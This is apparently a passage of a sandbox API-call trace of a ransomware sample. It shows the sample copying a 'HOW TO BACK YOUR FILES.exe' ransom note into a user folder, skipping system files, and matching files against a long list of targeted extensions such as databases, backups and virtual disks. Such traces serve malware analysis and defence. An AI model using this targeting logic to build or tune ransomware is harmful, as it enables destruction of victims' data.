	[0035.980] lstrcmpiW (lpString1="Sample Music", lpString2="temp") returned -1
	[0035.980] lstrcmpiW (lpString1="Sample Music", lpString2="pagefile.sys") returned 1
	[0035.980] lstrcmpiW (lpString1="Sample Music", lpString2="boot") returned 1
	[0035.980] lstrcmpiW (lpString1="Sample Music", lpString2="ids.txt") returned 1
	[0035.980] lstrcmpiW (lpString1="Sample Music", lpString2="ntuser.dat") returned 1
	[0035.980] lstrcmpiW (lpString1="Sample Music", lpString2="perflogs") returned 1
	[0035.980] lstrcmpiW (lpString1="Sample Music", lpString2="MSBuild") returned 1
	[0035.980] lstrlenW (lpString="Sample Music") returned 12
	[0035.980] lstrlenW (lpString="C:\\Users\\Public\\Music\\desktop.ini") returned 33
	[0035.980] lstrcpyW (in: lpString1=0x2d3e57c, lpString2="Sample Music" | out: lpString1="Sample Music") returned="Sample Music"
	[0035.980] SetFileAttributesW (lpFileName="C:\\Users\\Public\\Music\\Sample Music", dwFileAttributes=0x10) returned 1
	[0035.980] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b28
	[0035.980] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x46) returned 0x5bdca8
	[0035.980] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b30 | out: ListHead=0x5b76b0, ListEntry=0x5b7b30) returned 0x5b7b10
	[0035.980] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8031a7b6, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sample Music", cAlternateFileName="SAMPLE~1")) returned 0
	[0035.980] FindClose (in: hFindFile=0x5ca210 | out: hFindFile=0x5ca210) returned 1
	[0035.980] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7b30
	[0035.980] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Public\\Music\\Sample Music", iMaxLength=260 | out: lpString1="C:\\Users\\Public\\Music\\Sample Music") returned="C:\\Users\\Public\\Music\\Sample Music"
	[0035.980] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bdca8 | out: hHeap=0x580000) returned 1
	[0035.980] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b28 | out: hHeap=0x580000) returned 1
	[0035.980] lstrlenW (lpString="C:\\Users\\Public\\Music\\Sample Music") returned 34
	[0035.981] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Public\\Music\\Sample Music" | out: lpString1="C:\\Users\\Public\\Music\\Sample Music") returned="C:\\Users\\Public\\Music\\Sample Music"
	[0035.981] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0035.981] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Public\\Music\\Sample Music\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\public\\music\\sample music\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0035.987] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0035.987] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2db71390, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2db71390, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca210
	[0035.987] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0035.987] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0035.987] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0035.987] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2db71390, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2db71390, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0035.987] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0035.987] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0035.987] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0035.987] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0035.987] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x24a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0035.987] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0035.987] lstrcmpiW (lpString1="desktop.ini", lpString2="Apollon865.txt.exe") returned 1
	[0035.987] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1
	[0035.987] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1
	[0035.987] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1
	[0035.987] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1
	[0035.987] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1
	[0035.988] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1
	[0035.988] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1
	[0035.988] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1
	[0035.988] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1
	[0035.988] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1
	[0035.988] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1
	[0035.988] lstrlenW (lpString="desktop.ini") returned 11
	[0035.988] lstrlenW (lpString="C:\\Users\\Public\\Music\\Sample Music\\*") returned 36
	[0035.988] lstrcpyW (in: lpString1=0x2d3e596, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0035.988] lstrlenW (lpString="desktop.ini") returned 11
	[0035.988] lstrlenW (lpString="Apollon865") returned 10
	[0035.988] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0035.988] lstrlenW (lpString=".dll") returned 4
	[0035.988] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0035.988] lstrlenW (lpString=".lnk") returned 4
	[0035.988] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0035.988] lstrlenW (lpString=".ini") returned 4
	[0035.988] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0035.988] lstrlenW (lpString=".sys") returned 4
	[0035.988] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0035.988] lstrlenW (lpString="desktop.ini") returned 11
	[0035.988] lstrlenW (lpString="bak") returned 3
	[0035.988] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1
	[0035.988] lstrlenW (lpString="ba_") returned 3
	[0035.988] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1
	[0035.988] lstrlenW (lpString="dbb") returned 3
	[0035.988] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1
	[0035.988] lstrlenW (lpString="vmdk") returned 4
	[0035.988] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1
	[0035.988] lstrlenW (lpString="rar") returned 3
	[0035.988] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1
	[0035.988] lstrlenW (lpString="zip") returned 3
	[0035.988] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1
	[0035.988] lstrlenW (lpString="tgz") returned 3
	[0035.988] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1
	[0035.988] lstrlenW (lpString="vbox") returned 4
	[0035.988] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1
	[0035.988] lstrlenW (lpString="vdi") returned 3
	[0035.989] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1
	[0035.989] lstrlenW (lpString="vhd") returned 3
	[0035.989] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1
	[0035.989] lstrlenW (lpString="vhdx") returned 4
	[0035.989] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1
	[0035.989] lstrlenW (lpString="avhd") returned 4
	[0035.989] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1
	[0035.989] lstrlenW (lpString="db") returned 2
	[0035.989] lstrcmpiW (lpString1="ni", lpString2="db") returned 1
	[0035.989] lstrlenW (lpString="db2") returned 3
	[0035.989] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1
	[0035.989] lstrlenW (lpString="db3") returned 3
	[0035.989] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1
	[0035.989] lstrlenW (lpString="dbf") returned 3
	[0035.989] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1
	[0035.989] lstrlenW (lpString="mdf") returned 3
	[0035.989] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1
	[0035.989] lstrlenW (lpString="mdb") returned 3
	[0035.989] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1
	[0035.989] lstrlenW (lpString="sql") returned 3
	[0035.989] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1
	[0035.989] lstrlenW (lpString="sqlite") returned 6
	[0035.989] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1
	[0035.989] lstrlenW (lpString="sqlite3") returned 7
	[0035.989] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1
	[0035.989] lstrlenW (lpString="sqlitedb") returned 8
	[0035.989] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1
	[0035.989] lstrlenW (lpString="xml") returned 3
	[0035.989] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1
	[0035.989] lstrlenW (lpString="$er") returned 3
	[0035.989] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1
	[0035.989] lstrlenW (lpString="4dd") returned 3
	[0035.989] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1
	[0035.989] lstrlenW (lpString="4dl") returned 3
	[0035.989] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1
	[0035.989] lstrlenW (lpString="^^^") returned 3
	[0035.990] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1
	[0035.990] lstrlenW (lpString="abs") returned 3
	[0035.990] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1
	[0035.990] lstrlenW (lpString="abx") returned 3
	[0035.990] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1
	[0035.990] lstrlenW (lpString="accdb") returned 5
	[0035.990] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1
	[0035.990] lstrlenW (lpString="accdc") returned 5
	[0035.990] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1
	[0035.990] lstrlenW (lpString="accde") returned 5
	[0035.990] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1
	[0035.990] lstrlenW (lpString="accdr") returned 5
	[0035.990] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1
	[0035.990] lstrlenW (lpString="accdt") returned 5
	[0035.990] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1
	[0035.990] lstrlenW (lpString="accdw") returned 5
	[0035.990] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1
	[0035.990] lstrlenW (lpString="accft") returned 5
	[0035.990] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1
	[0035.990] lstrlenW (lpString="adb") returned 3
	[0035.990] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0035.990] lstrlenW (lpString="adb") returned 3
	[0035.990] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0035.990] lstrlenW (lpString="ade") returned 3
	[0035.990] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1
	[0035.990] lstrlenW (lpString="adf") returned 3
	[0035.990] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1
	[0035.990] lstrlenW (lpString="adn") returned 3
	[0035.990] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1
	[0035.990] lstrlenW (lpString="adp") returned 3
	[0035.990] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1
	[0035.990] lstrlenW (lpString="alf") returned 3
	[0035.990] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1
	[0035.990] lstrlenW (lpString="ask") returned 3
	[0035.990] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1
	[0035.990] lstrlenW (lpString="btr") returned 3
	[0035.991] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1
	[0035.991] lstrlenW (lpString="cat") returned 3
	[0035.991] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1
	[0035.991] lstrlenW (lpString="cdb") returned 3
	[0035.991] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1
	[0035.991] lstrlenW (lpString="ckp") returned 3
	[0035.991] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1
	[0035.991] lstrlenW (lpString="cma") returned 3
	[0035.991] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1
	[0035.991] lstrlenW (lpString="cpd") returned 3
	[0035.991] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1
	[0035.991] lstrlenW (lpString="dacpac") returned 6
	[0035.991] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1
	[0035.991] lstrlenW (lpString="dad") returned 3
	[0035.991] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1
	[0035.991] lstrlenW (lpString="dadiagrams") returned 10
	[0035.991] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1
	[0035.991] lstrlenW (lpString="daschema") returned 8
	[0035.991] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1
	[0035.991] lstrlenW (lpString="db-journal") returned 10
	[0035.991] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1
	[0035.991] lstrlenW (lpString="db-shm") returned 6
	[0035.991] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1
	[0035.991] lstrlenW (lpString="db-wal") returned 6
	[0035.991] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1
	[0035.991] lstrlenW (lpString="dbc") returned 3
	[0035.991] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1
	[0035.991] lstrlenW (lpString="dbs") returned 3
	[0035.991] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1
	[0035.991] lstrlenW (lpString="dbt") returned 3
	[0035.991] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1
	[0035.991] lstrlenW (lpString="dbv") returned 3
	[0035.991] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1
	[0035.991] lstrlenW (lpString="dbx") returned 3
	[0035.991] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1
	[0035.991] lstrlenW (lpString="dcb") returned 3
	[0035.991] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1
	[0035.991] lstrlenW (lpString="dct") returned 3
	[0035.991] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1
	[0035.991] lstrlenW (lpString="dcx") returned 3
	[0035.992] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1
	[0035.992] lstrlenW (lpString="ddl") returned 3
	[0035.992] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1
	[0035.992] lstrlenW (lpString="dlis") returned 4
	[0035.992] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1
	[0035.992] lstrlenW (lpString="dp1") returned 3
	[0035.992] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1
	[0035.992] lstrlenW (lpString="dqy") returned 3
	[0035.992] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1
	[0035.992] lstrlenW (lpString="dsk") returned 3
	[0035.992] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1
	[0035.992] lstrlenW (lpString="dsn") returned 3
	[0035.992] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1
	[0035.992] lstrlenW (lpString="dtsx") returned 4
	[0035.992] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1
	[0035.992] lstrlenW (lpString="dxl") returned 3
	[0035.992] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1
	[0035.992] lstrlenW (lpString="eco") returned 3
	[0035.992] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1
	[0035.992] lstrlenW (lpString="ecx") returned 3
	[0035.992] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1
	[0035.992] lstrlenW (lpString="edb") returned 3
	[0035.992] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1
	[0035.992] lstrlenW (lpString="epim") returned 4
	[0035.992] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1
	[0035.992] lstrlenW (lpString="fcd") returned 3
	[0035.992] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1
	[0035.992] lstrlenW (lpString="fdb") returned 3
	[0035.992] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1
	[0035.992] lstrlenW (lpString="fic") returned 3
	[0035.992] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1
	[0035.992] lstrlenW (lpString="flexolibrary") returned 12
	[0035.992] lstrlenW (lpString="fm5") returned 3
	[0035.992] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1
	[0035.992] lstrlenW (lpString="fmp") returned 3
	[0035.992] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1
	[0035.992] lstrlenW (lpString="fmp12") returned 5
	[0035.992] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1
	[0035.992] lstrlenW (lpString="fmpsl") returned 5
	[0035.993] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1
	[0035.993] lstrlenW (lpString="fol") returned 3
	[0035.993] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1
	[0035.993] lstrlenW (lpString="fp3") returned 3
	[0035.993] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1
	[0035.993] lstrlenW (lpString="fp4") returned 3
	[0035.993] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1
	[0035.993] lstrlenW (lpString="fp5") returned 3
	[0035.993] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1
	[0035.993] lstrlenW (lpString="fp7") returned 3
	[0035.993] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1
	[0035.993] lstrlenW (lpString="fpt") returned 3
	[0035.993] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1
	[0035.993] lstrlenW (lpString="frm") returned 3
	[0035.993] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1
	[0035.993] lstrlenW (lpString="gdb") returned 3
	[0035.993] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0035.993] lstrlenW (lpString="gdb") returned 3
	[0035.993] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0035.993] lstrlenW (lpString="grdb") returned 4
	[0035.993] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1
	[0035.993] lstrlenW (lpString="gwi") returned 3
	[0035.993] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1
	[0035.993] lstrlenW (lpString="hdb") returned 3
	[0035.993] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1
	[0035.993] lstrlenW (lpString="his") returned 3
	[0035.993] lstrcmpiW (lpString1="ini", lpString2="his") returned 1
	[0035.993] lstrlenW (lpString="ib") returned 2
	[0035.993] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1
	[0035.993] lstrlenW (lpString="idb") returned 3
	[0035.993] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1
	[0035.993] lstrlenW (lpString="ihx") returned 3
	[0035.993] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1
	[0035.993] lstrlenW (lpString="itdb") returned 4
	[0035.993] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1
	[0035.993] lstrlenW (lpString="itw") returned 3
	[0035.993] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1
	[0035.994] lstrlenW (lpString="jet") returned 3
	[0035.994] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1
	[0035.994] lstrlenW (lpString="jtx") returned 3
	[0035.994] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1
	[0035.994] lstrlenW (lpString="kdb") returned 3
	[0035.994] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1
	[0035.994] lstrlenW (lpString="kexi") returned 4
	[0035.994] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1
	[0035.994] lstrlenW (lpString="kexic") returned 5
	[0035.994] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1
	[0035.994] lstrlenW (lpString="kexis") returned 5
	[0035.994] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1
	[0035.994] lstrlenW (lpString="lgc") returned 3
	[0035.994] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1
	[0035.994] lstrlenW (lpString="lwx") returned 3
	[0035.994] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1
	[0035.994] lstrlenW (lpString="maf") returned 3
	[0035.994] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1
	[0035.994] lstrlenW (lpString="maq") returned 3
	[0035.994] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1
	[0035.994] lstrlenW (lpString="mar") returned 3
	[0035.994] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1
	[0035.994] lstrlenW (lpString="marshal") returned 7
	[0035.994] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1
	[0035.994] lstrlenW (lpString="mas") returned 3
	[0035.994] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1
	[0035.994] lstrlenW (lpString="mav") returned 3
	[0035.994] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1
	[0035.994] lstrlenW (lpString="maw") returned 3
	[0035.994] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1
	[0035.994] lstrlenW (lpString="mdbhtml") returned 7
	[0035.994] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1
	[0035.994] lstrlenW (lpString="mdn") returned 3
	[0035.994] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1
	[0035.994] lstrlenW (lpString="mdt") returned 3
	[0035.994] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1
	[0035.994] lstrlenW (lpString="mfd") returned 3
	[0035.994] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1
	[0035.994] lstrlenW (lpString="mpd") returned 3
	[0035.995] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1
	[0035.995] lstrlenW (lpString="mrg") returned 3
	[0035.995] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1
	[0035.995] lstrlenW (lpString="mud") returned 3
	[0035.995] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1
	[0035.995] lstrlenW (lpString="mwb") returned 3
	[0035.995] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1
	[0035.995] lstrlenW (lpString="myd") returned 3
	[0035.995] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1
	[0035.995] lstrlenW (lpString="ndf") returned 3
	[0035.995] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1
	[0035.995] lstrlenW (lpString="nnt") returned 3
	[0035.995] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1
	[0035.995] lstrlenW (lpString="nrmlib") returned 6
	[0035.995] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1
	[0035.995] lstrlenW (lpString="ns2") returned 3
	[0035.995] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1
	[0035.995] lstrlenW (lpString="ns3") returned 3
	[0035.995] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1
	[0035.995] lstrlenW (lpString="ns4") returned 3
	[0035.995] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1
	[0035.995] lstrlenW (lpString="nsf") returned 3
	[0035.995] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1
	[0035.995] lstrlenW (lpString="nv") returned 2
	[0035.995] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1
	[0035.995] lstrlenW (lpString="nv2") returned 3
	[0035.995] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1
	[0035.995] lstrlenW (lpString="nwdb") returned 4
	[0035.995] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1
	[0035.995] lstrlenW (lpString="nyf") returned 3
	[0035.995] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1
	[0035.995] lstrlenW (lpString="odb") returned 3
	[0035.995] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0035.995] lstrlenW (lpString="odb") returned 3
	[0035.995] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0035.995] lstrlenW (lpString="oqy") returned 3
	[0035.995] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1
	[0035.995] lstrlenW (lpString="ora") returned 3
	[0035.995] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1
	[0035.996] lstrlenW (lpString="orx") returned 3
	[0035.996] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1
	[0035.996] lstrlenW (lpString="owc") returned 3
	[0035.996] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1
	[0035.996] lstrlenW (lpString="p96") returned 3
	[0035.996] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1
	[0035.996] lstrlenW (lpString="p97") returned 3
	[0035.996] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1
	[0035.996] lstrlenW (lpString="pan") returned 3
	[0035.996] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1
	[0035.996] lstrlenW (lpString="pdb") returned 3
	[0035.996] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1
	[0035.996] lstrlenW (lpString="pdm") returned 3
	[0035.996] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1
	[0035.996] lstrlenW (lpString="pnz") returned 3
	[0035.996] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1
	[0035.996] lstrlenW (lpString="qry") returned 3
	[0035.996] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1
	[0035.996] lstrlenW (lpString="qvd") returned 3
	[0035.996] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1
	[0035.996] lstrlenW (lpString="rbf") returned 3
	[0035.996] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1
	[0035.996] lstrlenW (lpString="rctd") returned 4
	[0035.996] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1
	[0035.996] lstrlenW (lpString="rod") returned 3
	[0035.996] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1
	[0035.996] lstrlenW (lpString="rodx") returned 4
	[0035.996] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1
	[0035.996] lstrlenW (lpString="rpd") returned 3
	[0035.996] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1
	[0035.996] lstrlenW (lpString="rsd") returned 3
	[0035.996] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1
	[0035.996] lstrlenW (lpString="sas7bdat") returned 8
	[0035.996] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1
	[0035.996] lstrlenW (lpString="sbf") returned 3
	[0035.996] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1
	[0035.996] lstrlenW (lpString="scx") returned 3
	[0035.996] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1
	[0035.996] lstrlenW (lpString="sdb") returned 3
	[0035.997] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1
	[0035.997] lstrlenW (lpString="sdc") returned 3
	[0035.997] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1
	[0035.997] lstrlenW (lpString="sdf") returned 3
	[0035.997] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1
	[0035.997] lstrlenW (lpString="sis") returned 3
	[0035.997] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1
	[0035.997] lstrlenW (lpString="spq") returned 3
